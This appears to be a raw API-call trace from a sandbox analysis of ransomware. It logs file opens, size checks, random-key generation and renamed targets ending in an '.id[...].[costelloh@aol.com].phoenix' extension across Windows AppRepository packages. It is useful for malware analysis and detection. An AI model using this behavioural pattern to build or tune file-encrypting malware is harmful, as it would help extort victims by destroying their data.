	[0262.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.829] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.830] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.830] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.830] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.830] CloseHandle (hObject=0x2e0) returned 1
	[0262.830] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.830] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.831] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.831] CloseHandle (hObject=0x2e0) returned 1
	[0262.831] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.831] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.832] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5460) returned 1
	[0262.832] CloseHandle (hObject=0x2e0) returned 1
	[0262.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.832] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.832] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.832] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.833] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1004) returned 1
	[0262.833] CloseHandle (hObject=0x2e0) returned 1
	[0262.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.834] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.834] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.834] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.835] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=24576) returned 1
	[0262.835] CloseHandle (hObject=0x2e0) returned 1
	[0262.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.835] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.835] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.835] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.836] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.836] CloseHandle (hObject=0x2e0) returned 1
	[0262.836] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.836] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.836] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5980) returned 1
	[0262.836] CloseHandle (hObject=0x2e0) returned 1
	[0262.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.836] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.837] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.837] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.837] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=968) returned 1
	[0262.837] CloseHandle (hObject=0x2e0) returned 1
	[0262.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.837] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.837] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.838] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.839] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=49152) returned 1
	[0262.839] CloseHandle (hObject=0x2e0) returned 1
	[0262.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.839] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.839] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.839] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.840] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.840] CloseHandle (hObject=0x2e0) returned 1
	[0262.840] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.840] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.851] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5840) returned 1
	[0262.851] CloseHandle (hObject=0x2e0) returned 1
	[0262.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsmaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.851] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.852] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.853] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=16384) returned 1
	[0262.853] CloseHandle (hObject=0x2e0) returned 1
	[0262.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.853] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.853] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.853] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.854] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.854] CloseHandle (hObject=0x2e0) returned 1
	[0262.854] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.854] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=7576) returned 1
	[0262.854] CloseHandle (hObject=0x2e0) returned 1
	[0262.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_10.1510.9010.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsphone_10.1510.9010.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
